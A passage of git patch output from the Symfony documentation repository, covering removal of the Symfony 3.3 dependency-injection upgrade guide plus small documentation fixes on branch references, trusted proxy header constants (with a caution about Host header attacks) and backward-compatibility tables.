-        return function(ContainerConfigurator $configurator) {
-            // ...
-
-            $services->instanceof(LoaderInterface::class)
-                ->public()
-                ->tag('app.domain_loader');
-        };
-
-What about Performance
-----------------------
-
-Symfony is unique because it has a *compiled* container. This means that there is
-*no* runtime performance impact for using any of these features. That's also why
-the autowiring system can give you such clear errors.
-
-However, there is some performance impact in the ``dev`` environment. Most importantly,
-your container will likely be rebuilt more often when you modify your service classes.
-This is because it needs to rebuild whenever you add a new argument to a service,
-or add an interface to your class that should be autoconfigured.
-
-In very big projects, this may be a problem. If it is, you can always opt to *not*
-use autowiring. If you think the cache rebuilding system could be smarter in some
-situation, please open an issue!
-
-Upgrading to the new Symfony 3.3 Configuration
-----------------------------------------------
-
-Ready to upgrade your existing project? Great! Suppose you have the following configuration:
-
-.. code-block:: yaml
-
-    # config/services.yaml
-    services:
-        app.github_notifier:
-            class: App\Service\GitHubNotifier
-            arguments:
-                - '@app.api_client_github'
-
-        markdown_transformer:
-            class: App\Service\MarkdownTransformer
-
-        app.api_client_github:
-            class: App\Service\ApiClient
-            arguments:
-                - 'https://api.github.com'
-
-        app.api_client_sl_connect:
-            class: App\Service\ApiClient
-            arguments:
-                - 'https://connect.symfony.com/api'
-
-It's optional, but let's upgrade this to the new Symfony 3.3 configuration step-by-step,
-*without* breaking our application.
-
-Step 1): Adding _defaults
-~~~~~~~~~~~~~~~~~~~~~~~~~
-
-Start by adding a ``_defaults`` section with ``autowire`` and ``autoconfigure``.
-
-.. code-block:: diff
-
-    # config/services.yaml
-    services:
-    +     _defaults:
-    +         autowire: true
-    +         autoconfigure: true
-
-        # ...
-
-You're already *explicitly* configuring all of your services. So, ``autowire``
-does nothing. You're also already tagging your services, so ``autoconfigure``
-also doesn't change any existing services.
-
-You have not added ``public: false`` yet. That will come in a minute.
-
-Step 2) Using Class Service id's
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-Right now, the service ids are machine names - e.g. ``app.github_notifier``. To
-work well with the new configuration system, your service ids should be class names,
-except when you have multiple instances of the same service.
-
-Start by updating the service ids to class names:
-
-.. code-block:: diff
-
-    # config/services.yaml
-    services:
-        # ...
-
-    -     app.github_notifier:
-    -         class: App\Service\GitHubNotifier
-    +     App\Service\GitHubNotifier:
-            arguments:
-                - '@app.api_client_github'
-
-    -     markdown_transformer:
-    -         class: App\Service\MarkdownTransformer
-    +     App\Service\MarkdownTransformer: ~
-
-        # keep these ids because there are multiple instances per class
-        app.api_client_github:
-            # ...
-        app.api_client_sl_connect:
-            # ...
-
-.. caution::
-
-    Services associated with global PHP classes (i.e. not using PHP namespaces)
-    must maintain the ``class`` parameter. For example, when using the old Twig
-    classes (e.g. ``Twig_Extensions_Extension_Intl`` instead of ``Twig\Extensions\IntlExtension``),
-    you can't redefine the service as ``Twig_Extensions_Extension_Intl: ~`` and
-    you must keep the original ``class`` parameter.
-
-.. caution::
-
-    If a service is processed by a :doc:`compiler pass </service_container/compiler_passes>`,
-    you could face a  "You have requested a non-existent service" error.
-    To get rid of this, be sure that the Compiler Pass is using ``findDefinition()``
-    instead of ``getDefinition()``. The latter won't take aliases into
-    account when looking up for services.
-    Furthermore it is always recommended to check for definition existence
-    using ``has()`` function.
-
-.. note::
-
-    If you get rid of deprecations and make your controllers extend from
-    ``AbstractController`` instead of ``Controller``, you can skip the rest of
-    this step because ``AbstractController`` doesn't provide a container where
-    you can get the services from. All services need to be injected as explained
-    in the :ref:`step 5 of this article <step-5>`.
-
-But, this change will break our app! The old service ids (e.g. ``app.github_notifier``)
-no longer exist. The simplest way to fix this is to find all your old service ids
-and update them to the new class id: ``app.github_notifier`` to ``App\Service\GitHubNotifier``.
-
-In large projects, there's a better way: create legacy aliases that map the old id
-to the new id. Create a new ``legacy_aliases.yaml`` file:
-
-.. code-block:: yaml
-
-    # config/legacy_aliases.yaml
-    services:
-        _defaults:
-            public: true
-        # aliases so that the old service ids can still be accessed
-        # remove these if/when you are not fetching these directly
-        # from the container via $container->get()
-        app.github_notifier: '@App\Service\GitHubNotifier'
-        markdown_transformer: '@App\Service\MarkdownTransformer'
-
-Then import this at the top of ``services.yaml``:
-
-.. code-block:: diff
-
-    # config/services.yaml
-    + imports:
-    +     - { resource: legacy_aliases.yaml }
-
-    # ...
-
-That's it! The old service ids still work. Later, (see the cleanup step below), you
-can remove these from your app.
-
-Step 3) Make the Services Private
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-Now you're ready to default all services to be private:
-
-.. code-block:: diff
-
-    # config/services.yaml
-    # ...
-
-    services:
-        _defaults:
-            autowire: true
-            autoconfigure: true
-    +       public: false
-
-Thanks to this, any services created in this file cannot be fetched directly from
-the container. But, since the old service id's are aliases in a separate file (``legacy_aliases.yaml``),
-these *are* still public. This makes sure the app keeps working.
-
-If you did *not* change the id of some of your services (because there are multiple
-instances of the same class), you may need to make those public:
-
-.. code-block:: diff
-
-    # config/services.yaml
-    # ...
-
-    services:
-        # ...
-
-        app.api_client_github:
-            # ...
-
-    +         # remove this if/when you are not fetching this
-    +         # directly from the container via $container->get()
-    +         public: true
-
-        app.api_client_sl_connect:
-            # ...
-    +         public: true
-
-This is to guarantee that the application doesn't break. If you're not fetching
-these services directly from the container, this isn't needed. In a minute, you'll
-clean that up.
-
-Step 4) Auto-registering Services
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-You're now ready to automatically register all services in ``src/``
-(and/or any other directory/bundle you have):
-
-.. code-block:: diff
-
-    # config/services.yaml
-
-    services:
-        _defaults:
-            # ...
-
-    +     App\:
-    +         resource: '../src/*'
-    +         exclude: '../src/{Entity,Migrations,Tests}'
-    +
-    +     App\Controller\:
-    +         resource: '../src/Controller'
-    +         tags: ['controller.service_arguments']
-
-        # ...
-
-That's it! Actually, you're already overriding and reconfiguring all the services
-you're using (``App\Service\GitHubNotifier`` and ``App\Service\MarkdownTransformer``).
-But now, you won't need to manually register future services.
-
-Once again, there is one extra complication if you have multiple services of the
-same class:
-
-.. code-block:: diff
-
-    # config/services.yaml
-
-    services:
-        # ...
-
-    +     # alias ApiClient to one of our services below
-    +     # app.api_client_github will be used to autowire ApiClient type-hints
-    +     App\Service\ApiClient: '@app.api_client_github'
-
-        app.api_client_github:
-            # ...
-        app.api_client_sl_connect:
-            # ...
-
-This guarantees that if you try to autowire an ``ApiClient`` instance, the ``app.api_client_github``
-will be used. If you *don't* have this, the auto-registration feature will try to
-register a third ``ApiClient`` service and use that for autowiring (which will fail,
-because the class has a non-autowireable argument).
-
-.. _step-5:
-
-Step 5) Cleanup!
-~~~~~~~~~~~~~~~~
-
-To make sure your application didn't break, you did some extra work. Now it's time
-to clean things up! First, update your application to *not* use the old service id's (the
-ones in ``legacy_aliases.yaml``). This means updating any service arguments (e.g.
-``@app.github_notifier`` to ``@App\Service\GitHubNotifier``) and updating your
-code to not fetch this service directly from the container. For example:
-
-.. code-block:: diff
-
-    -     public function index()
-    +     public function index(GitHubNotifier $gitHubNotifier, MarkdownTransformer $markdownTransformer)
-        {
-    -         // the old way of fetching services
-    -         $githubNotifier = $this->container->get('app.github_notifier');
-    -         $markdownTransformer = $this->container->get('markdown_transformer');
-
-            // ...
-        }
-
-As soon as you do this, you can delete ``legacy_aliases.yaml`` and remove its import.
-You should do the same thing for any services that you made public, like
-``app.api_client_github`` and ``app.api_client_sl_connect``. Once you're not fetching
-these directly from the container, you can remove the ``public: true`` flag:
-
-.. code-block:: diff
-
-    # config/services.yaml
-    services:
-        # ...
-
-        app.api_client_github:
-            # ...
-    -         public: true
-
-        app.api_client_sl_connect:
-            # ...
-    -         public: true
-
-Finally, you can optionally remove any services from ``services.yaml`` whose arguments
-can be autowired. The final configuration looks like this:
-
-.. code-block:: yaml
-
-    services:
-        _defaults:
-            autowire: true
-            autoconfigure: true
-            public: false
-
-        App\:
-            resource: '../src/*'
-            exclude: '../src/{Entity,Migrations,Tests}'
-
-        App\Controller\:
-            resource: '../src/Controller'
-            tags: ['controller.service_arguments']
-
-        App\Service\GitHubNotifier:
-            # this could be deleted, or I can keep being explicit
-            arguments:
-                - '@app.api_client_github'
-
-        # alias ApiClient to one of our services below
-        # app.api_client_github will be used to autowire ApiClient type-hints
-        App\Service\ApiClient: '@app.api_client_github'
-
-        # keep these ids because there are multiple instances per class
-        app.api_client_github:
-            class: App\Service\ApiClient
-            arguments:
-                - 'https://api.github.com'
-
-        app.api_client_sl_connect:
-            class: App\Service\ApiClient
-            arguments:
-                - 'https://connect.symfony.com/api'
-
-You can now take advantage of the new features going forward.
-
-.. _`FrameworkExtension for 3.3.0`: https://github.com/symfony/symfony/blob/7938fdeceb03cc1df277a249cf3da70f0b50eb98/src/Symfony/Bundle/FrameworkBundle/DependencyInjection/FrameworkExtension.php#L247-L284
diff --git a/setup/flex.rst b/setup/flex.rst
index df1bf1eaa14..eaba102d073 100644
--- a/setup/flex.rst
+++ b/setup/flex.rst
@@ -100,7 +100,7 @@ manual steps:
    located at ``config/services.yaml``. Copy the contents of the
    `default services.yaml file`_ and then add your own service configuration.
    Later you can revisit this file because thanks to Symfony's
-   :doc:`autowiring feature </service_container/3.3-di-changes>` you can remove
+   :doc:`autowiring feature </service_container/autowiring>` you can remove
    most of the service configuration.
 
    .. note::

From ab4b613ed3859ddb70b9b00356ecef1d1786eddb Mon Sep 17 00:00:00 2001
From: Youssef BENHSSAIEN <youssefbenhssaien@gmail.com>
Date: Tue, 17 Nov 2020 10:02:05 +0100
Subject: [PATCH 1487/7107] Fix option double dashes

---
 console/input.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/console/input.rst b/console/input.rst
index 3e99b39e515..0813bad58c5 100644
--- a/console/input.rst
+++ b/console/input.rst
@@ -247,7 +247,7 @@ optionally accepts a value, but it's a bit tricky. Consider this example::
         )
     ;
 
-This option can be used in 3 ways: ``greet --yell``, ``greet yell=louder``,
+This option can be used in 3 ways: ``greet --yell``, ``greet --yell=louder``,
 and ``greet``. However, it's hard to distinguish between passing the option
 without a value (``greet --yell``) and not passing the option (``greet``).
 

From ad7a7ce1ef03c63f0ddc5978b56bb74ed7e6cfdd Mon Sep 17 00:00:00 2001
From: David Vigo <david.vigoesteban@gmail.com>
Date: Tue, 17 Nov 2020 13:42:33 +0100
Subject: [PATCH 1488/7107] Add forgotten use

---
 security/access_denied_handler.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/security/access_denied_handler.rst b/security/access_denied_handler.rst
index 59d6d6bb8d6..8601218ab56 100644
--- a/security/access_denied_handler.rst
+++ b/security/access_denied_handler.rst
@@ -29,6 +29,7 @@ unauthenticated user tries to access a protected resource::
     use Symfony\Component\HttpFoundation\RedirectResponse;
     use Symfony\Component\HttpFoundation\Request;
     use Symfony\Component\HttpFoundation\Session\SessionInterface;
+    use Symfony\Component\Routing\Generator\UrlGeneratorInterface;
     use Symfony\Component\Security\Core\Exception\AuthenticationException;
     use Symfony\Component\Security\Http\EntryPoint\AuthenticationEntryPointInterface;
 

From b93b1a791900ed8823ef0a566a9d1168e73bf802 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Tue, 17 Nov 2020 10:18:36 +0100
Subject: [PATCH 1489/7107] Prepare for 3.4 end of life

---
 README.markdown                               |  6 ++--
 .../cache/adapters/filesystem_adapter.rst     |  8 ++---
 .../adapters/pdo_doctrine_dbal_adapter.rst    |  2 +-
 .../cache/adapters/php_files_adapter.rst      |  2 +-
 components/cache/cache_invalidation.rst       |  2 +-
 contributing/code/pull_requests.rst           | 32 +++++++++----------
 contributing/community/releases.rst           | 18 +++++------
 contributing/documentation/overview.rst       | 14 ++++----
 8 files changed, 41 insertions(+), 43 deletions(-)

diff --git a/README.markdown b/README.markdown
index 8923f022322..b993cd45ed4 100644
--- a/README.markdown
+++ b/README.markdown
@@ -11,9 +11,9 @@ Symfony documentation, please read
 [Contributing to the Documentation](https://symfony.com/doc/current/contributing/documentation/overview.html)
 
 > **Note**
-> All pull requests must be based off of the **3.4** branch,
-> unless you're documenting a feature that was introduced *after* Symfony 3.4
-> (e.g. in Symfony 4.4), **not** the master or older branches.
+> All pull requests must be based off of the **4.4** branch,
+> unless you're documenting a feature that was introduced *after* Symfony 4.4
+> (e.g. in Symfony 5.2), **not** the ``5.x`` or older branches.
 
 SymfonyCloud
 ------------
diff --git a/components/cache/adapters/filesystem_adapter.rst b/components/cache/adapters/filesystem_adapter.rst
index c4db3a7fb76..772a6d7b6a9 100644
--- a/components/cache/adapters/filesystem_adapter.rst
+++ b/components/cache/adapters/filesystem_adapter.rst
@@ -50,11 +50,9 @@ and cache root path as constructor parameters::
 
 .. note::
 
-    Since Symfony 3.4, this adapter implements
-    :class:`Symfony\\Component\\Cache\\PruneableInterface`, enabling manual
-    :ref:`pruning of expired cache items <component-cache-cache-pool-prune>` by
-    calling its ``prune()`` method.
-
+    This adapter implements :class:`Symfony\\Component\\Cache\\PruneableInterface`,
+    enabling manual :ref:`pruning of expired cache items <component-cache-cache-pool-prune>`
+    by calling its ``prune()`` method.
 
 .. _filesystem-tag-aware-adapter:
 
diff --git a/components/cache/adapters/pdo_doctrine_dbal_adapter.rst b/components/cache/adapters/pdo_doctrine_dbal_adapter.rst
index 841071dc586..b840da76de7 100644
--- a/components/cache/adapters/pdo_doctrine_dbal_adapter.rst
+++ b/components/cache/adapters/pdo_doctrine_dbal_adapter.rst
@@ -44,7 +44,7 @@ your code.
 
 .. note::
 
-    Since Symfony 3.4, this adapter implements :class:`Symfony\\Component\\Cache\\PruneableInterface`,
+    This adapter implements :class:`Symfony\\Component\\Cache\\PruneableInterface`,
     allowing for manual :ref:`pruning of expired cache entries <component-cache-cache-pool-prune>` by
     calling its ``prune()`` method.
 
diff --git a/components/cache/adapters/php_files_adapter.rst b/components/cache/adapters/php_files_adapter.rst
index 5bec5715801..fcb5bcfffd1 100644
--- a/components/cache/adapters/php_files_adapter.rst
+++ b/components/cache/adapters/php_files_adapter.rst
@@ -63,7 +63,7 @@ directory path as constructor arguments::
 
 .. note::
 
-    Since Symfony 3.4, this adapter implements :class:`Symfony\\Component\\Cache\\PruneableInterface`,
+    This adapter implements :class:`Symfony\\Component\\Cache\\PruneableInterface`,
     allowing for manual :ref:`pruning of expired cache entries <component-cache-cache-pool-prune>` by
     calling its ``prune()`` method.
 
diff --git a/components/cache/cache_invalidation.rst b/components/cache/cache_invalidation.rst
index bef2c29b0b7..d7e44031d90 100644
--- a/components/cache/cache_invalidation.rst
+++ b/components/cache/cache_invalidation.rst
@@ -87,7 +87,7 @@ your fronts and have very fast invalidation checks::
 
 .. note::
 
-    Since Symfony 3.4, :class:`Symfony\\Component\\Cache\\Adapter\\TagAwareAdapter`
+    :class:`Symfony\\Component\\Cache\\Adapter\\TagAwareAdapter`
     implements :class:`Symfony\\Component\\Cache\\PruneableInterface`,
     enabling manual
     :ref:`pruning of expired cache entries <component-cache-cache-pool-prune>` by
diff --git a/contributing/code/pull_requests.rst b/contributing/code/pull_requests.rst
index 15c2f6a4484..f76e778763f 100644
--- a/contributing/code/pull_requests.rst
+++ b/contributing/code/pull_requests.rst
@@ -124,7 +124,7 @@ Choose the right Branch
 Before working on a PR, you must determine on which branch you need to
 work:
 
-* ``3.4``, if you are fixing a bug for an existing feature or want to make a
+* ``4.4``, if you are fixing a bug for an existing feature or want to make a
   change that falls into the :doc:`list of acceptable changes in patch versions
   </contributing/code/maintenance>` (you may have to choose a higher branch if
   the feature you are fixing was introduced in a later version);
@@ -132,16 +132,16 @@ work:
 * ``5.x``, if you are adding a new feature.
 
   The only exception is when a new :doc:`major Symfony version </contributing/community/releases>`
-  (4.0, 5.0, etc.) comes out every two years. Because of the
+  (5.0, 6.0, etc.) comes out every two years. Because of the
   :ref:`special development process <major-version-development>` of those versions,
-  you need to use the previous minor version for the features (e.g. use ``3.4``
-  instead of ``4.0``, use ``4.4`` instead of ``5.0``, etc.)
+  you need to use the previous minor version for the features (e.g. use ``4.4``
+  instead of ``5.0``, use ``5.4`` instead of ``6.0``, etc.)
 
 .. note::
 
     All bug fixes merged into maintenance branches are also merged into more
     recent branches on a regular basis. For instance, if you submit a PR
-    for the ``3.4`` branch, the PR will also be applied by the core team on
+    for the ``4.4`` branch, the PR will also be applied by the core team on
     the ``5.x`` branch.
 
 Create a Topic Branch
@@ -154,18 +154,18 @@ topic branch:
 
     $ git checkout -b BRANCH_NAME 5.x
 
-Or, if you want to provide a bug fix for the ``3.4`` branch, first track the remote
-``3.4`` branch locally:
+Or, if you want to provide a bug fix for the ``4.4`` branch, first track the remote
+``4.4`` branch locally:
 
 .. code-block:: terminal
 
-    $ git checkout --track origin/3.4
+    $ git checkout --track origin/4.4
 
-Then create a new branch off the ``3.4`` branch to work on the bug fix:
+Then create a new branch off the ``4.4`` branch to work on the bug fix:
 
 .. code-block:: terminal
 
-    $ git checkout -b BRANCH_NAME 3.4
+    $ git checkout -b BRANCH_NAME 4.4
 
 .. tip::
 
@@ -193,8 +193,8 @@ want to debug are installed by running ``composer install`` inside it.
 
 .. tip::
 
-    If symlinks to your local Symfony fork cannot be resolved inside your project due to 
-    your dev environment (for instance when using Vagrant where only the current project 
+    If symlinks to your local Symfony fork cannot be resolved inside your project due to
+    your dev environment (for instance when using Vagrant where only the current project
     directory is mounted), you can alternatively use the ``--copy`` option.
     When finishing testing your Symfony code into your project, you can use
     the ``--rollback`` option to make your project back to its original dependencies.
@@ -285,7 +285,7 @@ while to finish your changes):
 
 .. tip::
 
-    Replace ``5.x`` with the branch you selected previously (e.g. ``3.4``)
+    Replace ``5.x`` with the branch you selected previously (e.g. ``4.4``)
     if you are working on a bug fix.
 
 When doing the ``rebase`` command, you might have to fix merge conflicts.
@@ -312,8 +312,8 @@ You can now make a pull request on the ``symfony/symfony`` GitHub repository.
 
 .. tip::
 
-    Take care to point your pull request towards ``symfony:3.4`` if you want
-    the core team to pull a bug fix based on the ``3.4`` branch.
+    Take care to point your pull request towards ``symfony:4.4`` if you want
+    the core team to pull a bug fix based on the ``4.4`` branch.
 
 To ease the core team work, always include the modified components in your
 pull request message, like in:
@@ -403,7 +403,7 @@ Rework your Pull Request
 
 Based on the feedback on the pull request, you might need to rework your
 PR. Before re-submitting the PR, rebase with ``upstream/5.x`` or
-``upstream/3.4``, don't merge; and force the push to the origin:
+``upstream/4.4``, don't merge; and force the push to the origin:
 
 .. code-block:: terminal
 
diff --git a/contributing/community/releases.rst b/contributing/community/releases.rst
index fa8471717f2..80d5033accd 100644
--- a/contributing/community/releases.rst
+++ b/contributing/community/releases.rst
@@ -7,7 +7,7 @@ release and maintain its different versions.
 Symfony releases follow the `semantic versioning`_ strategy and they are
 published through a *time-based model*:
 
-* A new **Symfony patch version** (e.g. 3.4.41, 4.4.9) comes out roughly every
+* A new **Symfony patch version** (e.g. 4.4.12, 5.1.9) comes out roughly every
   month. It only contains bug fixes, so you can safely upgrade your applications;
 * A new **Symfony minor version** (e.g. 4.4, 5.0, 5.1) comes out every *six months*:
   one in *May* and one in *November*. It contains bug fixes and new features, but
@@ -53,7 +53,7 @@ Maintenance
 
 Starting from the Symfony 3.x branch, the number of minor versions is limited to
 five per branch (X.0, X.1, X.2, X.3 and X.4). The last minor version of a branch
-(e.g. 3.4, 4.4, 5.4) is considered a **long-term support version** and the other
+(e.g. 4.4, 5.4) is considered a **long-term support version** and the other
 ones are considered **standard versions**:
 
 =======================  =====================  ================================
@@ -87,17 +87,17 @@ learn more about how deprecations are handled in Symfony.
 .. _major-version-development:
 
 This deprecation policy also requires a custom development process for major
-versions (4.0, 5.0, 6.0, etc.) In those cases, Symfony develops at the same time
-two versions: the new major one (e.g. 4.0) and the latest version of the
-previous branch (e.g. 3.4).
+versions (5.0, 6.0, etc.) In those cases, Symfony develops at the same time
+two versions: the new major one (e.g. 5.0) and the latest version of the
+previous branch (e.g. 4.4).
 
 Both versions have the same new features, but they differ in the deprecated
-features. The oldest version (3.4 in this example) contains all the deprecated
-features whereas the new version (4.0 in this example) removes all of them.
+features. The oldest version (4.4 in this example) contains all the deprecated
+features whereas the new version (5.0 in this example) removes all of them.
 
-This allows you to upgrade your projects to the latest minor version (e.g. 3.4),
+This allows you to upgrade your projects to the latest minor version (e.g. 4.4),
 see all the deprecation messages and fix them. Once you have fixed all those
-deprecations, you can upgrade to the new major version (e.g. 4.0) without
+deprecations, you can upgrade to the new major version (e.g. 5.0) without
 effort, because it contains the same features (the only difference are the
 deprecated features, which your project no longer uses).
 
diff --git a/contributing/documentation/overview.rst b/contributing/documentation/overview.rst
index fc6a2c4e5e5..f7d1e4e8a03 100644
--- a/contributing/documentation/overview.rst
+++ b/contributing/documentation/overview.rst
@@ -112,14 +112,14 @@ memorable name for the new branch (if you are fixing a reported issue, use
 
 .. code-block:: terminal
 
-    $ git checkout -b improve_install_article upstream/3.4
+    $ git checkout -b improve_install_article upstream/4.4
 
 In this example, the name of the branch is ``improve_install_article`` and the
-``upstream/3.4`` value tells Git to create this branch based on the ``3.4``
+``upstream/4.4`` value tells Git to create this branch based on the ``4.4``
 branch of the ``upstream`` remote, which is the original Symfony Docs repository.
 
 Fixes should always be based on the **oldest maintained branch** which contains
-the error. Nowadays this is the ``3.4`` branch. If you are instead documenting a
+the error. Nowadays this is the ``4.4`` branch. If you are instead documenting a
 new feature, switch to the first Symfony version that included it, e.g.
 ``upstream/3.1``. Not sure? That's OK! Just use the ``upstream/master`` branch.
 
@@ -155,7 +155,7 @@ changes should be applied:
    :align: center
 
 In this example, the **base fork** should be ``symfony/symfony-docs`` and
-the **base** branch should be the ``3.4``, which is the branch that you selected
+the **base** branch should be the ``4.4``, which is the branch that you selected
 to base your changes on. The **head fork** should be your forked copy
 of ``symfony-docs`` and the **compare** branch should be ``improve_install_article``,
 which is the name of the branch you created and where you made your changes.
@@ -205,7 +205,7 @@ contribution to the Symfony docs:
     # create a new branch based on the oldest maintained version
     $ cd projects/symfony-docs/
     $ git fetch upstream
-    $ git checkout -b my_changes upstream/3.4
+    $ git checkout -b my_changes upstream/4.4
 
     # ... do your changes
 
@@ -303,8 +303,8 @@ into multiple branches, corresponding to the different versions of Symfony itsel
 The ``master`` branch holds the documentation for the development branch of
 the code.
 
-Unless you're documenting a feature that was introduced after Symfony 3.4,
-your changes should always be based on the ``3.4`` branch. Documentation managers
+Unless you're documenting a feature that was introduced after Symfony 4.4,
+your changes should always be based on the ``4.4`` branch. Documentation managers
 will use the necessary Git-magic to also apply your changes to all the active
 branches of the documentation.
 

From e5918146ca5fbd2d54a88965d0df26bd6880a49c Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=A9my=20Deruss=C3=A9?= <jeremy@derusse.com>
Date: Wed, 4 Nov 2020 10:18:54 +0100
Subject: [PATCH 1490/7107] Remove deprecated HEADER_X_FORWARDED_ALL header

---
 deployment/proxies.rst | 12 ++++++++++--
 migration.rst          |  2 +-
 2 files changed, 11 insertions(+), 3 deletions(-)

diff --git a/deployment/proxies.rst b/deployment/proxies.rst
index 12bf3f1cac1..a7e0aff99b2 100644
--- a/deployment/proxies.rst
+++ b/deployment/proxies.rst
@@ -35,15 +35,22 @@ and what headers your reverse proxy uses to send information::
         ['192.0.0.1', '10.0.0.0/8'],
 
         // trust *all* "X-Forwarded-*" headers
-        Request::HEADER_X_FORWARDED_ALL
+        Request::HEADER_X_FORWARDED_FOR | Request::HEADER_X_FORWARDED_HOST | Request::HEADER_X_FORWARDED_PORT | Request::HEADER_X_FORWARDED_PROTO
 
         // or, if your proxy instead uses the "Forwarded" header
         // Request::HEADER_FORWARDED
 
-        // or, if you're using AWS ELB
+        // or, if you're using a wellknown proxy
         // Request::HEADER_X_FORWARDED_AWS_ELB
+        // Request::HEADER_X_FORWARDED_TRAEFIK
     );
 
+.. caution::
+
+    Enabling the ``Request::HEADER_X_FORWARDED_HOST`` option exposes the
+    application to "`HTTP Host header attacks`_". Make sure the proxy really
+    send a ``x-forwarded-host`` header.
+
 The Request object has several ``Request::HEADER_*`` constants that control exactly
 *which* headers from your reverse proxy are trusted. The argument is a bit field,
 so you can also pass your own value (e.g. ``0b00110``).
@@ -114,3 +121,4 @@ In this case, you'll need to set the header ``X-Forwarded-Proto`` with the value
 .. _`security groups`: https://docs.aws.amazon.com/elasticloadbalancing/latest/classic/elb-security-groups.html
 .. _`CloudFront`: https://en.wikipedia.org/wiki/Amazon_CloudFront
 .. _`CloudFront IP ranges`: https://ip-ranges.amazonaws.com/ip-ranges.json
+.. _`HTTP Host header attacks`: https://www.skeletonscribe.net/2013/05/practical-http-host-header-attacks.html
diff --git a/migration.rst b/migration.rst
index fa8c2bfc24b..5c786c103b9 100644
--- a/migration.rst
+++ b/migration.rst
@@ -262,7 +262,7 @@ could look something like this::
     if ($trustedProxies = $_SERVER['TRUSTED_PROXIES'] ?? $_ENV['TRUSTED_PROXIES'] ?? false) {
         Request::setTrustedProxies(
           explode(',', $trustedProxies),
-          Request::HEADER_X_FORWARDED_ALL ^ Request::HEADER_X_FORWARDED_HOST
+          Request::HEADER_X_FORWARDED_FOR | Request::HEADER_X_FORWARDED_PORT | Request::HEADER_X_FORWARDED_PROTO
         );
     }
 

From c5dbbd7c07e9c852a3bba6f0edc6fb9bac9612f6 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Wed, 18 Nov 2020 10:54:29 +0100
Subject: [PATCH 1491/7107] [#14561] Fixed wrong reference

---
 serializer/custom_encoders.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/serializer/custom_encoders.rst b/serializer/custom_encoders.rst
index 4c08b410dbd..d212f94a2f5 100644
--- a/serializer/custom_encoders.rst
+++ b/serializer/custom_encoders.rst
@@ -66,7 +66,7 @@ that's done automatically!
 
 .. tip::
 
-    If you're not using :ref:`autoconfigure <service_autoconfigure>`, make sure
+    If you're not using :ref:`autoconfigure <services-autoconfigure>`, make sure
     to register your class as a service and tag it with ``serializer.encoder``.
 
 Now you'll be able to serialize and deserialize YAML!

From 42c1ca4fe901ec3e7339f13b00ac7764f8dfada9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 18 Nov 2020 10:54:34 +0100
Subject: [PATCH 1492/7107] Added a deprecation notice

---
 deployment/proxies.rst | 12 +++++++++---
 1 file changed, 9 insertions(+), 3 deletions(-)

diff --git a/deployment/proxies.rst b/deployment/proxies.rst
index a7e0aff99b2..81c1f5c7826 100644
--- a/deployment/proxies.rst
+++ b/deployment/proxies.rst
@@ -40,16 +40,22 @@ and what headers your reverse proxy uses to send information::
         // or, if your proxy instead uses the "Forwarded" header
         // Request::HEADER_FORWARDED
 
-        // or, if you're using a wellknown proxy
+        // or, if you're using a well-known proxy
         // Request::HEADER_X_FORWARDED_AWS_ELB
         // Request::HEADER_X_FORWARDED_TRAEFIK
     );
 
+.. deprecated:: 5.2
+
+    In previous Symfony versions, the above example used ``HEADER_X_FORWARDED_ALL``
+    to trust all "X-Forwarded-*" headers, but that constant is deprecated since
+    Symfony 5.2 in favor of the individual ``HEADER_X_FORWARDED_*`` constants.
+
 .. caution::
 
     Enabling the ``Request::HEADER_X_FORWARDED_HOST`` option exposes the
-    application to "`HTTP Host header attacks`_". Make sure the proxy really
-    send a ``x-forwarded-host`` header.
+    application to `HTTP Host header attacks`_. Make sure the proxy really
+    sends an ``x-forwarded-host`` header.
 
 The Request object has several ``Request::HEADER_*`` constants that control exactly
 *which* headers from your reverse proxy are trusted. The argument is a bit field,

From 163c6941e9b8cc0cc7fd2721e34b4445b86c5554 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 18 Nov 2020 11:27:44 +0100
Subject: [PATCH 1493/7107] Fixed a RST syntax issue

---
 deployment/proxies.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/deployment/proxies.rst b/deployment/proxies.rst
index 81c1f5c7826..cae9e285648 100644
--- a/deployment/proxies.rst
+++ b/deployment/proxies.rst
@@ -48,7 +48,7 @@ and what headers your reverse proxy uses to send information::
 .. deprecated:: 5.2
 
     In previous Symfony versions, the above example used ``HEADER_X_FORWARDED_ALL``
-    to trust all "X-Forwarded-*" headers, but that constant is deprecated since
+    to trust all "X-Forwarded-" headers, but that constant is deprecated since
     Symfony 5.2 in favor of the individual ``HEADER_X_FORWARDED_*`` constants.
 
 .. caution::

From 035335cb0ec35b73034f624cb7f9837486efc00d Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Wed, 18 Nov 2020 12:59:08 +0100
Subject: [PATCH 1494/7107] Document named arguments BC policy

---
 contributing/code/bc.rst | 10 +++++++---
 1 file changed, 7 insertions(+), 3 deletions(-)

diff --git a/contributing/code/bc.rst b/contributing/code/bc.rst
index d0c82ab1c1f..15f1f03674d 100644
--- a/contributing/code/bc.rst
+++ b/contributing/code/bc.rst
@@ -72,7 +72,7 @@ backward compatibility promise:
 +-----------------------------------------------+-----------------------------+
 | Type hint against the interface               | Yes                         |
 +-----------------------------------------------+-----------------------------+
-| Call a method                                 | Yes                         |
+| Call a method                                 | Yes [10]_                   |
 +-----------------------------------------------+-----------------------------+
 | **If you implement the interface and...**     | **Then we guarantee BC...** |
 +-----------------------------------------------+-----------------------------+
@@ -114,13 +114,13 @@ covered by our backward compatibility promise:
 +-----------------------------------------------+-----------------------------+
 | Access a public property                      | Yes                         |
 +-----------------------------------------------+-----------------------------+
-| Call a public method                          | Yes                         |
+| Call a public method                          | Yes [10]_                   |
 +-----------------------------------------------+-----------------------------+
 | **If you extend the class and...**            | **Then we guarantee BC...** |
 +-----------------------------------------------+-----------------------------+
